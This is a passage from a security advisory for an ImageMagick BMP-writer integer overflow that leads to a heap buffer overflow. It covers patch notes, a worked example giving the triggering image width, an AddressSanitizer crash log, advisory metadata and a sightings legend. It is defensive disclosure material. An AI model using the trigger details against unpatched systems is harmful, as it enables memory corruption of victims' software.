It\u00a0**fixes the header**\u00a0(`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication.\u00a0\n \n- It\u00a0**guards allocation**\u00a0where you presently allocate\u00a0`rows \u00d7 MagickMax(bytes_per_line, columns+256)`.\u00a0\n \n- The invariant\u00a0`row_bytes \u2264 bytes_per_line`\u00a0ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to\u00a0`bytes_per_line`) can never exceed the per-row slot the code relies on.\u00a0\n \n\n---\n\n## Notes\n\n- **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected.\u00a0\n \n- **Header consistency**:\u00a0`biSizeImage = rows * bytes_per_line`\u00a0remains true by construction, but now cannot overflow a 32-bit DIB field.\u00a0\n \n- **Defensive alignment**: If you prefer, you can compute\u00a0`bytes_per_line`\u00a0as\u00a0`((row_bytes + 3) \u0026 ~3U)`; it\u2019s equivalent and may read clearer, but I kept the original formula with guards to minimize diff.\n \n\nA slightly larger \u201chelpers\u201d variant (with\u00a0`safe_mul_size`\u00a0/\u00a0`safe_add_size`\u00a0utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF\u2192OOB class without touching unrelated code paths.\n\n\n\n### Appendix B \u2014 Arithmetic Worked Example (W=178,957,200)\n\n- `(24W + 31) mod 2^32 = 5535`\n \n- `bytes_per_line = 4 * (5535/32) = 688`\n \n- `row_bytes (24-bpp) = 536,871,600`\n \n- Allocation via\u00a0`MagickMax = 178,957,456`\u00a0\u2192 immediate row 0 out-of-bounds.\n \n\n### Appendix C \u2014 Raw ASan Log (trimmed)\n\n```\n=================================================================\n==49178==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490\nWRITE of size 1 at 0x6eaac490 thread T0\n #0 0xed2788 in WriteBMPImage coders/bmp.c:2309\n #1 0x13da32c in WriteImage MagickCore/constitute.c:1342\n #2 0x13dc657 in WriteImages MagickCore/constitute.c:1564\n0x6eaac490 is located 0 bytes to the right of 178957456-byte region\nallocated by thread T0 here:\n #0 0x408e30ab in __interceptor_posix_memalign\n #1 0xd03305 in AcquireVirtualMemory MagickCore/memory.c:747\n #2 0xecd597 in WriteBMPImage coders/bmp.c:2092\n```",
"id": "GHSA-mxvv-97wh-cfmm",
"modified": "2025-08-26T20:44:57Z",
"published": "2025-08-26T16:07:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57803"
},
{
"type": "WEB",
"url": "https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7"
},
{
"type": "PACKAGE",
"url": "https://github.com/ImageMagick/ImageMagick"
},
{
"type": "WEB",
"url": "https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride \u2192 heap buffer overflow"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.